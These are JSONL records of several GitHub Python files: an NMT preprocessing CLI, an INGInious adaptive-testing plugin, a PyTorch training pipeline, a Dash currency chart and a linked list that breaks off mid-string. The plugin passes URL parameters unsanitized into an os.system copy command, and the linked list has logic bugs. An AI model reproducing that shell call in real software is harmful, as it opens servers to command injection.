+{"seq_id":"71347585065","text":"import mrl_nmt.preprocessing as pp\nimport click\nfrom rich import print\n\n\n@click.command()\n@click.option(\"--toml-config\", type=click.Path(exists=True))\n@click.option(\"--yaml-config\", type=click.Path(exists=True))\n@click.option(\"--verbose\", is_flag=True)\n@click.option(\"--use-gpu\", is_flag=True)\n@click.option(\"--gpu-devices\", default=\"\")\n@click.option(\"--n-workers\", default=1, type=int)\n@click.option(\"--joined-dictionary\", is_flag=True, default=False)\n@click.option(\"--source-only\", is_flag=True, default=False)\ndef main(toml_config, yaml_config, verbose, use_gpu, gpu_devices, n_workers, joined_dictionary, source_only):\n\n assert bool(toml_config) ^ bool(\n yaml_config\n ), \"Can only read TOML or YAML, not both.\"\n\n if toml_config:\n pipeline = pp.ExperimentPreprocessingPipeline.from_toml(\n toml_config,\n verbose=verbose,\n use_gpu=use_gpu,\n gpu_devices=gpu_devices,\n n_workers=n_workers,\n joined_dictionary=joined_dictionary,\n source_only=source_only\n )\n else:\n pipeline = pp.ExperimentPreprocessingPipeline.from_yaml(\n yaml_config,\n verbose=verbose,\n use_gpu=use_gpu,\n gpu_devices=gpu_devices,\n n_workers=n_workers,\n joined_dictionary=joined_dictionary,\n source_only=source_only\n )\n\n pipeline.process()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"j0ma/mrl_nmt22","sub_path":"scripts/text_processing/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"40854464739","text":"from cmath import nan\nimport os \nimport json\nimport requests\n\nfrom collections import OrderedDict\nfrom flask import send_from_directory\nfrom datetime import datetime\n\nfrom inginious.common.base import id_checker\nfrom inginious.frontend.pages.utils import INGIniousPage\nfrom inginious.frontend.task_dispensers import TaskDispenser\nfrom inginious.frontend.accessible_time import AccessibleTime\n\n__version__ = \"0.1.dev0\"\n\nPATH_TO_PLUGIN = os.path.abspath(os.path.dirname(__file__))\nPATH_TO_TEMPLATES = os.path.join(PATH_TO_PLUGIN, \"templates\")\nPATH_TO_TASKS = \"/home/lethblak/Unif/Memoire/INGInious/INGInious/tasks/\"\nMYIP=\"127.0.0.1\"\n\nclass StaticMockPage(INGIniousPage):\n def GET(self, path):\n return send_from_directory(os.path.join(PATH_TO_PLUGIN, \"static\"), path)\n\n def POST(self, path):\n return self.GET(path)\n\nclass ImportTasks(INGIniousPage):\n def GET(self,courseidfrom,courseid):\n '''\n Copy tasks from to \n '''\n self.database.cat_info.delete_many({'courseid':courseid})\n self.database.cat_info.insert_one({'courseidfrom':courseidfrom,'courseid':courseid})\n\n command = \"cp -nr \" + PATH_TO_TASKS + str(courseidfrom) +\"/*\" + \" \" + PATH_TO_TASKS + str(courseid) #cp -nr /* \n ret = os.system(command)\n\n if ret == 0:\n return \"Successfully imported\"\n else:\n return \"Error in import, please verify your course id\"\n\n\nclass ResetTasks(INGIniousPage):\n def GET(self,course_id,username):\n '''\n Archive everything for \n :param course_id: the id of the course\n :param username: the username of the user we want to reset\n '''\n date_archive = str(datetime.now())\n for line in self.database.user_tasks.find({'username':username,'courseid':course_id}):\n line['date'] = date_archive\n self.database.user_tasks_archive.insert_one(line)\n self.database.user_tasks.delete_many({'username':username,'courseid':course_id})\n\n for line in self.database.submissions.find({'username':username,'courseid':course_id}):\n line['date'] = date_archive\n self.database.submissions_archive.insert_one(line)\n self.database.submissions.delete_many({'username':username,'courseid':course_id})\n\n for line in self.database.cat_score.find({'username':username,'courseid':course_id}):\n line['date'] = date_archive\n self.database.cat_score_archive.insert_one(line)\n self.database.cat_score.delete_many({'username':username,'courseid':course_id})\n return \"OK\"\n \nclass CatDispenser(TaskDispenser):\n def __init__(self, task_list_func, dispenser_data, database, courseId):\n '''\n :param task_list_func: a function returning a dictionary with filesystem taskid as keys and task objects as values\n :param dispenser_data: the dispenser data as written in course.yaml\n '''\n self.database = database\n self.course_id = courseId\n self.original_course = -1\n\n cat_info = self.database.cat_info.find({\"courseid\":self.course_id})\n i = 0\n for result in cat_info:\n self.original_course = result['courseidfrom']\n i += 1\n\n if i == 0: # no info stores => tasks of his own course\n self.original_course = self.course_id\n \n self._task_list_func = task_list_func\n self._data = dispenser_data\n self.score = -1\n self.final_score = False\n self.username = \"None\"\n\n @classmethod\n def get_id(cls):\n '''\n :return: a unique id for the task dispenser\n '''\n return \"cat_dispenser\"\n\n @classmethod\n def get_name(cls, language):\n '''\n :param language: the user language\n :return: a human readable name for the task dispenser\n '''\n return \"Computerized Adapative Testing dispenser\"\n\n def get_dispenser_data(self):\n '''\n :return: datas of the dispenser\n '''\n try:\n datas = self._data.copy()\n except:\n return self._data\n else:\n return datas\n\n def __array_to_str_json(self,array):\n '''\n :param array: an array of elements\n :return: the json format (in string) of array\n '''\n strJSON = \"[\"\n for i in range(len(array)):\n line = \"[\"\n for j in range(len(array[i])):\n line += str(array[i][j]) + \",\"\n line = line[:-1] #remove last ,\n line += \"]\"\n strJSON += line + \",\"\n strJSON = strJSON[:-1] + \"]\" #remove last , and add ]\n\n if strJSON == \"]\": #Avoid error when removing ',' if array is empty\n return \"[]\"\n else:\n return strJSON\n \n def get_users(self):\n '''\n :return: an array of usernames of user that participated to at least one task of \n '''\n users = []\n for val in self.database.user_tasks.find({'courseid':self.original_course}):\n user = val['username']\n if(user not in users):\n users.append(user)\n return(users)\n\n def __send_data_to_r(self):\n '''\n Construct a matrix of grade where every line is a student and every column is a question of \n Send this matrix to R as a json\n '''\n users = self.get_users()\n tasks = self.get_dispenser_data()\n users_datas = [] # The Matrix of grade\n for user in users :\n user_data = []\n for task in tasks :\n grade = -1\n for val in self.database.user_tasks.find({'courseid':self.original_course,'username':user,'taskid':task}):\n if val['tried'] > 0:\n if val['succeeded']:\n grade = 1\n else:\n grade = 0\n user_data.append(grade)\n isOnlyNA = True\n for gradeCheck in user_data:\n if gradeCheck != -1 : isOnlyNA = False\n if not isOnlyNA:\n users_datas.append(user_data)\n strJSON = self.__array_to_str_json(users_datas)\n newHeaders = {'Content-type': 'application/json', 'Accept': 'text/plain'}\n requests.post(\"http://\"+MYIP+\":8766/newExam\",data=json.dumps({'data': strJSON,\"index\":self.course_id}),headers=newHeaders)\n\n def render_edit(self, template_helper, course, task_data):\n '''\n :param template_helper: the template_helper singleton\n :param course: the WebAppCourse object\n :param task_data: a helper dictionary containing the human-readable name and download urls\n :return: HTML code for the task list edition page\n '''\n self.__send_data_to_r()\n return template_helper.render(\"admin/task_list_edit.html\", template_folder=PATH_TO_TEMPLATES, course=course,\n dispenser_data=self._data, tasks=task_data)\n\n def render(self, template_helper, course, tasks_data, tag_list):\n '''\n :param template_helper: the template_helper singleton\n :param course: the WebAppCourse object\n :param tasks_data: a helper dict containing achievements status for each task\n :param tag_list: the course tag list to help filtering the tasks (can be ignored)\n :return: HTML code for the student task list page\n '''\n score = \"\"\n button_reset = \"None\"\n if self.score != -1 and not self.final_score:\n score = \"Actual Grade: \" + str(round(self.score, 2)) + \" %\"\n elif self.score != -1 and self.final_score:\n #button_reset = \"block\" UNCOMMENT FOR A RESET BUTTON (INDIVIDUAL)\n score = \"Final Grade: \" + str(round(self.score, 2)) + \" %\"\n\n datas = {\"data\":self._data,\"score\":score,\"reset\":button_reset,\"username\":self.username}\n \n return template_helper.render(\"student/task_list.html\", template_folder=PATH_TO_TEMPLATES, course=course,\n tasks=self._task_list_func(), tasks_data=tasks_data, tag_filter_list=tag_list,\n dispenser_data=datas)\n\n def check_dispenser_data(self, dispenser_data):\n '''\n Checks the dispenser data as formatted by the form from render_edit function\n :param dispenser_data: dispenser_data got from the web form (dispenser_structure_ js function)\n :return: A tuple (bool, List). The first item is True if the dispenser_data got from the web form is valid\n The second takes a list of string containing error messages\n '''\n disp_task_list = json.loads(dispenser_data)\n valid = any(set([id_checker(taskid) for taskid in disp_task_list]))\n errors = [] if valid else [\"Wrong task ids\"]\n return disp_task_list if valid else None, errors\n\n def __get_task_name(self,id):\n '''\n :param id: id of the task\n :return: The name of task at id\n '''\n tasks = self.get_dispenser_data()\n return tasks[id]\n\n def __get_tasks_name(self,tasks_ids):\n '''\n :param tasks_ids: list of ids of tasks\n :return: A list of the name of tasks_ids\n '''\n tasks = []\n for id in tasks_ids:\n tasks.append(self.__get_task_name(id-1))\n return tasks\n\n def __get_task_id(self,task):\n '''\n :param task: A task as defined in the database (user_tasks)\n :return: The id of the task\n '''\n i = 1\n tasks = self.get_dispenser_data()\n for t in tasks:\n if task == t:\n return i\n i = i +1\n return -1\n\n def __get_already_answered(self,username):\n '''\n :param username: A username (string)\n :return: The list of all ids of all questions that already answered\n '''\n tasks_ids = []\n grades = []\n for val in self.database.user_tasks.find({'courseid':self.course_id,'username':username}):\n task = val['taskid']\n taskid = self.__get_task_id(task)\n if taskid != -1 and val['tried'] != 0:\n tasks_ids.append(taskid)\n grades.append(val['grade']/100)\n if len(tasks_ids) == 0:\n return([],-1)\n return (tasks_ids,grades)\n\n def get_user_task_list(self, usernames):\n '''\n Returns the task list as seen by the specified users\n :param usernames: the list of users usernames who the user task list is needed for\n :return: a dictionary with username as key and the user task list as value\n '''\n values = {}\n for user in usernames:\n try:\n self.username = user\n questions = self.__get_already_answered(user)\n questions_id = questions[0]\n responses = questions[1]\n\n newHeaders = {'Content-type': 'application/json', 'Accept': 'text/plain'}\n response = requests.post(\"http://\"+MYIP+\":8766/nextQuestion\",data=json.dumps({'itemBankID':self.course_id,'alreadyAnswered':questions_id,'responseList':responses}),headers=newHeaders)\n responseJSON = json.loads(response.text)\n\n nextQuestion = responseJSON[\"index\"][0]\n self.score = responseJSON[\"score\"][0]\n\n if nextQuestion == -1: #No new question to ask\n self.final_score = True\n temp = self.__get_tasks_name(questions_id)\n values[user] = temp\n else :\n self.final_score = False\n questions_id.append(nextQuestion)\n values[user] = self.__get_tasks_name(questions_id)\n\n self.database.cat_score.delete_many({'username':user,\"courseid\":self.course_id})\n self.database.cat_score.insert_one({'username':user,\"courseid\":self.course_id,'score':self.score,\"finalscore\":self.final_score,\"nombrequestions\":len(values[user])})\n except:\n values[user] = []\n return values\n\n def get_ordered_tasks(self):\n \"\"\" Returns a serialized version of the tasks structure as an OrderedDict\"\"\"\n tasks = self._task_list_func()\n return OrderedDict([(taskid, tasks[taskid]) for taskid in self._data if taskid in tasks])\n\n def get_task_order(self, taskid):\n \"\"\" Get the position of this task in the course \"\"\"\n tasks = self._data\n if taskid in tasks:\n return tasks.index(taskid)\n else:\n return len(tasks)\n \ndef task_accessibility(course, task, default_value, database, user_manager):\n \"\"\" Set unaccessible task that user already tried once \"\"\"\n dispenser = course.get_task_dispenser().get_id()\n if dispenser != \"cat_dispenser\":\n return default_value\n courseid = course.get_id()\n username = user_manager.session_username()\n taskid = task.get_id()\n submissions = database.user_tasks.find({'courseid':courseid,'taskid':taskid,'username':username})\n nbr_submissions = 0\n tried = False\n for sub in submissions:\n nbr_submissions += 1\n if sub['tried'] != 0:\n tried = True\n if nbr_submissions > 0 and tried:\n return AccessibleTime(False)\n else:\n return default_value\n\ndef init(plugin_manager, course_factory, client, plugin_config):\n plugin_manager.add_page('/plugins/disp_cat/static/import_tasks//',ImportTasks.as_view('catdispensertest'))\n plugin_manager.add_page('/plugins/disp_cat/static/reset_tasks//',ResetTasks.as_view('catdispenserreset'))\n plugin_manager.add_page('/plugins/disp_cat/static/', StaticMockPage.as_view(\"catdispenserstaticpage\"))\n plugin_manager.add_hook(\"javascript_header\", lambda: \"/plugins/disp_cat/static/admin.js\")\n plugin_manager.add_hook(\"javascript_header\", lambda: \"/plugins/disp_cat/static/student.js\")\n plugin_manager.add_hook('task_accessibility', lambda course, task, default: task_accessibility(course, task, default,\n plugin_manager.get_database(),\n plugin_manager.get_user_manager()))\n course_factory.add_task_dispenser(CatDispenser)","repo_name":"UCL-INGI/CAT-Dispenser-Plugin","sub_path":"inginious-dispenser-cat/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":14598,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"24688791217","text":"from typing import Optional, Callable, Sequence\nimport os\n\nimport torch\nimport torch.nn as nn\nfrom torch.utils import data\nfrom torch.utils import tensorboard\nfrom torch import optim\nfrom tqdm import tqdm\nimport fvcore.nn\n\nfrom reunn.implementation import base_imp\n\n\nclass TorchPipelineImp(base_imp.BasePipelineImp):\n\n def __init__(\n self, net: nn.Module, log_dir: str, hparam: dict,\n device: str = \"cpu\",\n criterion: Optional[Callable] = None,\n optimizer: Optional[optim.Optimizer] = None,\n lr_scheduler=None,\n train_loader: Optional[data.DataLoader] = None, \n test_loader: Optional[data.DataLoader] = None,\n validation_loader: Optional[data.DataLoader] = None,\n ):\n super().__init__(log_dir, hparam)\n self.device = device\n self.net = net.to(device=device)\n self.train_loader = train_loader\n self.test_loader = test_loader\n self.validation_loader = validation_loader\n self.optimizer = optimizer\n self.lr_scheduler = lr_scheduler\n self.criterion = criterion\n self.writer = None\n\n @staticmethod\n def acc_cnt(pred, labels) -> int:\n if pred.shape == labels.shape:\n labels = labels.argmax(dim=1)\n return (pred.argmax(dim=1) == labels).sum().item()\n\n def data_label_process(self, data, labels, running_mode):\n return data.to(device=self.device), labels.to(device=self.device)\n\n def pred_process(self, pred, running_mode):\n return pred\n\n def loss_process(self, loss, running_mode):\n return loss\n\n def after_batch_process(self, running_mode):\n pass\n\n def train_step(\n self, validation: bool = False, compute_acc: bool = False, \n silent: bool = False,\n ):\n train_loss, train_acc, train_sample_cnt = 0.0, None, 0\n if compute_acc:\n train_acc = 0\n\n self.net.train()\n iterable = self.train_loader if silent else tqdm(self.train_loader)\n for data, labels in iterable:\n data, labels = self.data_label_process(data, labels, \"train\")\n pred = self.net(data)\n pred = self.pred_process(pred, \"train\")\n loss = self.criterion(pred, labels)\n loss = self.loss_process(loss, \"train\")\n\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n self.after_batch_process(\"train\")\n\n train_loss += loss.item() * labels.shape[0]\n train_sample_cnt += labels.shape[0]\n if compute_acc:\n train_acc += self.acc_cnt(pred, labels)\n\n if self.lr_scheduler is not None:\n self.lr_scheduler.step()\n\n train_loss /= train_sample_cnt\n if compute_acc:\n train_acc /= train_sample_cnt\n\n validation_loss, validation_acc = None, None\n if validation:\n validation_loss, validation_acc = self.validation_step(compute_acc)\n\n return train_loss, train_acc, validation_loss, validation_acc\n\n def _tv_step(\n self, mode: str, data_loader: data.DataLoader, compute_acc: bool = False\n ):\n accumulate_loss, accumulate_acc, accumulate_sample_cnt = 0.0, None, 0\n if compute_acc:\n accumulate_acc = 0\n\n self.net.eval()\n with torch.no_grad():\n for data, labels in data_loader:\n data, labels = self.data_label_process(data, labels, mode)\n pred = self.net(data)\n pred = self.pred_process(pred, mode)\n loss = self.criterion(pred, labels)\n loss = self.loss_process(loss, mode)\n self.after_batch_process(mode)\n\n accumulate_loss += loss.item() * labels.shape[0]\n accumulate_sample_cnt += labels.shape[0]\n if compute_acc:\n accumulate_acc += self.acc_cnt(pred, labels)\n\n accumulate_loss /= accumulate_sample_cnt\n if compute_acc:\n accumulate_acc /= accumulate_sample_cnt\n\n return accumulate_loss, accumulate_acc\n\n def test_step(self, compute_acc: bool = False):\n return self._tv_step(\"test\", self.test_loader, compute_acc)\n\n def validation_step(self, compute_acc: bool = False):\n return self._tv_step(\"validation\", self.validation_loader, compute_acc)\n\n def save_pipeline_state(\n self, file: str, validation_loss: Optional[float] = None,\n validation_acc: Optional[float] = None,\n train_loss: Optional[float] = None, train_acc: Optional[float] = None,\n min_loss_type: Optional[str] = None, max_acc_type: Optional[str] = None,\n trained_epoch: Optional[int] = None,\n ):\n # save pipeline states\n chk = {\"net_state_dict\": self.net.state_dict(), \"hparam\": self.hparam}\n if self.optimizer is not None:\n chk[\"optimizer_state_dict\"] = self.optimizer.state_dict()\n if self.lr_scheduler is not None:\n chk[\"lr_scheduler_state_dict\"] = self.lr_scheduler.state_dict()\n\n # save other runtime information\n if validation_loss is not None:\n chk[\"validation_loss\"] = validation_loss\n if validation_acc is not None:\n chk[\"validation_acc\"] = validation_acc\n if train_loss is not None:\n chk[\"train_loss\"] = train_loss\n if train_acc is not None:\n chk[\"train_acc\"] = train_acc\n if trained_epoch is not None:\n chk[\"trained_epoch\"] = trained_epoch\n if min_loss_type is not None:\n chk[\"min_loss_type\"] = min_loss_type\n if max_acc_type is not None:\n chk[\"max_acc_type\"] = max_acc_type\n\n dir = os.path.join(self.log_dir, file)\n torch.save(chk, dir)\n\n def load_pipeline_state(self, file: str) -> dict:\n dir = os.path.join(self.log_dir, file)\n chk = torch.load(dir, map_location=self.device)\n if \"net_state_dict\" in chk:\n self.net.load_state_dict(chk[\"net_state_dict\"])\n if (\"optimizer_state_dict\" in chk) and (self.optimizer is not None):\n self.optimizer.load_state_dict(chk[\"optimizer_state_dict\"])\n if (\"lr_scheduler_state_dict\" in chk) and (self.lr_scheduler is not None):\n self.lr_scheduler.load_state_dict(chk[\"lr_scheduler_state_dict\"])\n if \"hparam\" in chk:\n self.hparam = chk[\"hparam\"]\n return chk\n\n def add_runtime_records(self, main_tag, kv, idx):\n if self.writer is None:\n self.writer = tensorboard.SummaryWriter(self.log_dir)\n self.writer.add_scalars(main_tag, kv, idx)\n\n def add_hparam_records(self, metrics: dict):\n if self.writer is None:\n self.writer = tensorboard.SummaryWriter(self.log_dir)\n self.writer.add_hparams(self.hparam, metrics)\n\n def _close_writer(self):\n if self.writer is not None:\n self.writer.flush()\n self.writer.close()\n self.writer = None\n\n def __del__(self):\n self._close_writer()\n\n\nclass TorchStatsImp(base_imp.BaseStatsImp):\n\n def __init__(self, net, input_shape: Sequence[int]):\n super().__init__(net, input_shape)\n self._flop_count_analysis = None\n\n @property\n def flop_count_analysis(self):\n if self._flop_count_analysis is None:\n self._flop_count_analysis = fvcore.nn.FlopCountAnalysis(\n model=self.net, inputs=torch.randn(size=self.input_shape)\n )\n return self._flop_count_analysis\n\n def count_parameter(self):\n return fvcore.nn.parameter_count(self.net)[\"\"]\n\n def count_mac(self):\n return self.flop_count_analysis.total()\n\n def print_summary(self):\n print(fvcore.nn.flop_count_table(self.flop_count_analysis))\n","repo_name":"AllenYolk/reusable-nn-code","sub_path":"reunn/implementation/torch_imp.py","file_name":"torch_imp.py","file_ext":"py","file_size_in_byte":7766,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"10523350913","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output, State\nimport pandas as pd\nimport plotly.graph_objs as go\nimport datetime as dt\n\n# Load CSV file from Datasets folder\ndf1 = pd.read_csv('../Datasets/ForeignExchange.csv')\ndf2 = pd.read_csv('../Datasets/ForeignExchange.csv')\n\napplication = dash.Dash()\n\nnew_df = df1\nnew_df2 = df2\n\nnew_df['Date'] = pd.to_datetime(new_df['Date'])\n\nmultiline_df = new_df\ntrace1_multiline = go.Scatter(x=multiline_df['Date'], y=multiline_df['AUSTRALIA - AUSTRALIAN DOLLAR/US$'], mode='lines', name='AUSTRALIA - AUSTRALIAN DOLLAR/US$')\ntrace2_multiline = go.Scatter(x=multiline_df['Date'], y=multiline_df['EURO AREA - EURO/US$'], mode='lines', name='EURO AREA - EURO/US$')\ndata_multiline = [trace1_multiline, trace2_multiline]\n\n\n# Layout\napplication.layout = html.Div(children=[\n html.H1(children='Python Dash',\n style={\n 'textAlign': 'center',\n 'color': '#ef3e18'\n }\n ),\n html.Hr(style={'color': '#7FDBFF'}),\n html.H3('Multi Line chart', style={'color': '#df1e56'}),\n dcc.Graph(id='graph2',\n figure={\n 'data': data_multiline,\n 'layout': go.Layout(\n title='Foreign Exchange Rate 2000-2019',\n xaxis={'title': 'Time'}, yaxis={'title': 'Exchange Rate'})\n }\n ),\n html.Div('Please select a first country to compare.', style={'color': '#ef3e18', 'margin': '10px'}),\n dcc.Dropdown(\n id='select-comparison1',\n options=[\n {'label': 'AUSTRALIA - AUSTRALIAN DOLLAR/US$', 'value': 'AUSTRALIA - AUSTRALIAN DOLLAR/US$'},\n {'label': 'EURO AREA - EURO/US$', 'value': 'EURO AREA - EURO/US$'},\n {'label': 'NEW ZEALAND - NEW ZELAND DOLLAR/US$', 'value': 'NEW ZEALAND - NEW ZELAND DOLLAR/US$'},\n {'label': 'UNITED KINGDOM - UNITED KINGDOM POUND/US$', 'value': 'UNITED KINGDOM - UNITED KINGDOM POUND/US$'},\n {'label': 'BRAZIL - REAL/US$', 'value': 'BRAZIL - REAL/US$'},\n {'label': 'CANADA - CANADIAN DOLLAR/US$', 'value': 'CANADA - CANADIAN DOLLAR/US$'},\n {'label': 'CHINA - YUAN/US$', 'value': 'CHINA - YUAN/US$'},\n {'label': 'HONG KONG - HONG KONG DOLLAR/US$', 'value': 'HONG KONG - HONG KONG DOLLAR/US$'},\n {'label': 'INDIA - INDIAN RUPEE/US$', 'value': 'INDIA - INDIAN RUPEE/US$'},\n {'label': 'KOREA - WON/US$', 'value': 'KOREA - WON/US$'},\n {'label': 'MEXICO - MEXICAN PESO/US$', 'value': 'MEXICO - MEXICAN PESO/US$'},\n {'label': 'SOUTH AFRICA - RAND/US$', 'value': 'SOUTH AFRICA - RAND/US$'},\n {'label': 'SINGAPORE - SINGAPORE DOLLAR/US$', 'value': 'SINGAPORE - SINGAPORE DOLLAR/US$'},\n {'label': 'DENMARK - DANISH KRONE/US$', 'value': 'DENMARK - DANISH KRONE/US$'},\n {'label': 'JAPAN - YEN/US$', 'value': 'JAPAN - YEN/US$'},\n {'label': 'MALAYSIA - RINGGIT/US$', 'value': 'MALAYSIA - RINGGIT/US$'},\n {'label': 'NORWAY - NORWEGIAN KRONE/US$', 'value': 'NORWAY - NORWEGIAN KRONE/US$'},\n {'label': 'SWEDEN - KRONA/US$', 'value': 'SWEDEN - KRONA/US$'},\n {'label': 'SRI LANKA - SRI LANKAN RUPEE/US$', 'value': 'SRI LANKA - SRI LANKAN RUPEE/US$'},\n {'label': 'SWITZERLAND - FRANC/US$', 'value': 'SWITZERLAND - FRANC/US$'},\n {'label': 'TAIWAN - NEW TAIWAN DOLLAR/US$', 'value': 'TAIWAN - NEW TAIWAN DOLLAR/US$'},\n {'label': 'THAILAND - BAHT/US$', 'value': 'THAILAND - BAHT/US$'},\n ],\n value='AUSTRALIA - AUSTRALIAN DOLLAR/US$'\n ),\n html.Div('Please select a second country to compare.', style={'color': '#ef3e18', 'margin': '10px'}),\n dcc.Dropdown(\n id='select-comparison2',\n options=[\n {'label': 'AUSTRALIA - AUSTRALIAN DOLLAR/US$', 'value': 'AUSTRALIA - AUSTRALIAN DOLLAR/US$'},\n {'label': 'EURO AREA - EURO/US$', 'value': 'EURO AREA - EURO/US$'},\n {'label': 'NEW ZEALAND - NEW ZELAND DOLLAR/US$', 'value': 'NEW ZEALAND - NEW ZELAND DOLLAR/US$'},\n {'label': 'UNITED KINGDOM - UNITED KINGDOM POUND/US$', 'value': 'UNITED KINGDOM - UNITED KINGDOM POUND/US$'},\n {'label': 'BRAZIL - REAL/US$', 'value': 'BRAZIL - REAL/US$'},\n {'label': 'CANADA - CANADIAN DOLLAR/US$', 'value': 'CANADA - CANADIAN DOLLAR/US$'},\n {'label': 'CHINA - YUAN/US$', 'value': 'CHINA - YUAN/US$'},\n {'label': 'HONG KONG - HONG KONG DOLLAR/US$', 'value': 'HONG KONG - HONG KONG DOLLAR/US$'},\n {'label': 'INDIA - INDIAN RUPEE/US$', 'value': 'INDIA - INDIAN RUPEE/US$'},\n {'label': 'KOREA - WON/US$', 'value': 'KOREA - WON/US$'},\n {'label': 'MEXICO - MEXICAN PESO/US$', 'value': 'MEXICO - MEXICAN PESO/US$'},\n {'label': 'SOUTH AFRICA - RAND/US$', 'value': 'SOUTH AFRICA - RAND/US$'},\n {'label': 'SINGAPORE - SINGAPORE DOLLAR/US$', 'value': 'SINGAPORE - SINGAPORE DOLLAR/US$'},\n {'label': 'DENMARK - DANISH KRONE/US$', 'value': 'DENMARK - DANISH KRONE/US$'},\n {'label': 'JAPAN - YEN/US$', 'value': 'JAPAN - YEN/US$'},\n {'label': 'MALAYSIA - RINGGIT/US$', 'value': 'MALAYSIA - RINGGIT/US$'},\n {'label': 'NORWAY - NORWEGIAN KRONE/US$', 'value': 'NORWAY - NORWEGIAN KRONE/US$'},\n {'label': 'SWEDEN - KRONA/US$', 'value': 'SWEDEN - KRONA/US$'},\n {'label': 'SRI LANKA - SRI LANKAN RUPEE/US$', 'value': 'SRI LANKA - SRI LANKAN RUPEE/US$'},\n {'label': 'SWITZERLAND - FRANC/US$', 'value': 'SWITZERLAND - FRANC/US$'},\n {'label': 'TAIWAN - NEW TAIWAN DOLLAR/US$', 'value': 'TAIWAN - NEW TAIWAN DOLLAR/US$'},\n {'label': 'THAILAND - BAHT/US$', 'value': 'THAILAND - BAHT/US$'},\n ],\n value='EURO AREA - EURO/US$'\n ),\n html.Div('Please enter a year 2000-2019 to filter timeframe of the graph.', style={'color': '#ef3e18', 'margin': '10px'}),\n html.Div(dcc.Input(id='select-timeframe', type='text')),\n html.Br(),\n html.Button('Submit', id='button'),\n html.Br(),\n html.Br()\n])\n@application.callback(Output('graph2', 'figure'),[Input('select-comparison1', 'value')],[Input('select-comparison2', 'value')],[Input('button', 'n_clicks')],state=[State('select-timeframe', 'value')])\ndef update_figure2(selected_currency1, selected_currency2, n_clicks, selected_timeframe):\n filtered_df = multiline_df\n currency1 = selected_currency1\n currency2 = selected_currency2\n if(selected_timeframe != None):\n if(selected_timeframe.isdigit()):\n if (int(selected_timeframe) >= 2000 and int(selected_timeframe) <= 2019):\n dfTime = new_df2\n dfTime['Date'] = pd.to_datetime(dfTime['Date'])\n dfCurrentTime = dfTime[dfTime['Date'].dt.year >= int(selected_timeframe)]\n filtered_df = dfCurrentTime\n filtered_df = filtered_df.apply(lambda x: x.str.strip() if x.dtype == \"object\" else x)\n newTrace1_multiline = go.Scatter(x=filtered_df['Date'], y=filtered_df[currency1],\n mode='lines', name=currency1)\n newTrace2_multiline = go.Scatter(x=filtered_df['Date'], y=filtered_df[currency2], mode='lines',\n name=currency2)\n data_multiline2 = [newTrace1_multiline, newTrace2_multiline]\n return {'data': data_multiline2,\n 'layout': go.Layout(title='Foreign Exchange Rates for ' + selected_currency1 + ' and' + selected_currency2,\n xaxis={'title': 'Time'},\n yaxis={'title': 'Exchange Rate'})}\nif __name__ == '__main__':\n application.run_server(debug = True, port = 8300)\n","repo_name":"scottgirard/Group-14-Project","sub_path":"Final Project/foreignExchangeGraphTest.py","file_name":"foreignExchangeGraphTest.py","file_ext":"py","file_size_in_byte":7785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"38106578533","text":"class Node():\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList():\n def __init__(self):\n self.head = None\n\n def traverseList(self):\n if self.head is None:\n print('list is empty')\n return\n else:\n node = self.head\n while node is not None:\n print(node.data, '')\n node = node.next\n \n def insertAtStart(self, data):\n node = Node(data)\n node.next = self.head\n self.head = node\n\n def insertAtEnd(self, data):\n newNode = Node(data)\n if self.head is None:\n self.head = newNode\n return\n n = self.head\n while n.next is not None:\n n = n.next\n n.next = newNode\n \n def insertAfterGivenItem(self, item, newItem):\n n = self.head\n while n is not None:\n if n.data == item:\n break\n n = n.next\n if n is None:\n print('item is not found in the list')\n else:\n newNode = Node(newItem)\n newNode.next = n.next\n n.next = newNode\n \n def insertBeforeGivenItem(self, item, newItem):\n prevNode = self.head\n while prevNode.next is not None:\n if prevNode.next.data == item:\n break\n prevNode = prevNode.next\n if prevNode.next is None:\n print('item is not found in the list')\n else:\n newNode = Node(newItem)\n newNode.next = prevNode.next\n prevNode.next = newNode\n #print('hi')\n \n def insertAtIndex(self, index, data):\n \n if index == 1:\n newNode = Node(data)\n newNode.next = self.head\n self.head = newNode\n i = 1\n prevNode = self.head\n while i < index -1 and prevNode is not None:\n prevNode = prevNode.next\n i += 1\n\n if prevNode is None:\n print('Index out of bound')\n else:\n newNode = Node(data)\n newNode.next = prevNode.next\n prevNode.next = newNode\n \n def getCount(self):\n if self.head is None:\n print('0')\n return\n n = self.head\n count = 0\n while n is not None:\n count += 1\n n = n.next\n print(count)\n \n def searchItem(self, item):\n if self.head is None:\n print('List is empty')\n return False\n n = self.head\n while n is not None:\n if n.data == item:\n print('item is found')\n return True\n n = n.next\n print('Element is not found')\n return False\n \n def deleteItemFromStart(self):\n if self.head is None:\n print('list has no element')\n self.head = self.head.next\n \n def deleteItemFromEnd(self):\n n = self.head\n while n.next.next is not None:\n n = n.next\n n.next = None\n \n def deleteGivenItem(self, item):\n if self.head is None:\n print('list is empty')\n return\n if self.head.data == item:\n self.head = self.head.next\n return\n \n n = self.head\n while n.next is not None:\n if n.next.data == item:\n break\n n = n.next \n \n if n.next is None:\n print('item is not found in the list')\n n.next = n.next.next\n \n def reverseLinkedList(self):\n prev = None\n n = self.head\n while n is not None:\n next = n.next\n n.next = prev\n prev = n\n n = next\n self.head = prev\n\nif __name__ == '__main__':\n \n newLinkedList = LinkedList()\n newLinkedList.insertAtStart(1)\n newLinkedList.insertAtEnd(2)\n newLinkedList.insertAtEnd(5)\n newLinkedList.insertAtIndex(3, 3)\n newLinkedList.insertBeforeGivenItem(5, 4)\n newLinkedList.traverseList()\n #newLinkedList.getCount()\n newLinkedList.searchItem(22)\n newLinkedList.deleteItemFromEnd()\n newLinkedList.traverseList()\n # newLinkedList.deleteItemFromStart()\n # newLinkedList.traverseList()\n # newLinkedList.deleteGivenItem(3)\n # print('after 3 